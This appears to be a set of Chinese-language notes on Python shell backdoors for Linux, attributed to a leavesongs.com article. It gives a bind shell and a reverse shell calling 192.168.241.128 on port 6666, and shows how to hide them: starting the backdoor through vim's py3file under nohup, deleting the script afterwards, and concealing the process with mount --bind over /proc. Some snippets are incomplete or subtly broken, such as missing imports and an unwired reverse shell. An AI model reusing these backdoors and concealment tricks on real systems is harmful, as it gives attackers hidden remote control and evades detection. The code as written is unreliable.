#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
print ('waiting for connect')
talk, addr = server.accept()
print ('connect from',addr)
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
反向后门:
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.241.128", 6666));
p = subprocess.call(["/bin/sh", "-i"]);
隐藏后门:
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误
输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结
将
netstat -anpt
查看到的可疑连接隐藏起来,解决方法:
既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

mount --bind null /proc/6238
#mount --bind
命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个 目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅 是无法访问了)。
nohup vim -E -c "pyfile dir.py"
查看
cat /proc/$$/mountinfo
可以看到挂在的目录
------------------------------未完待续,请看下篇----------------------------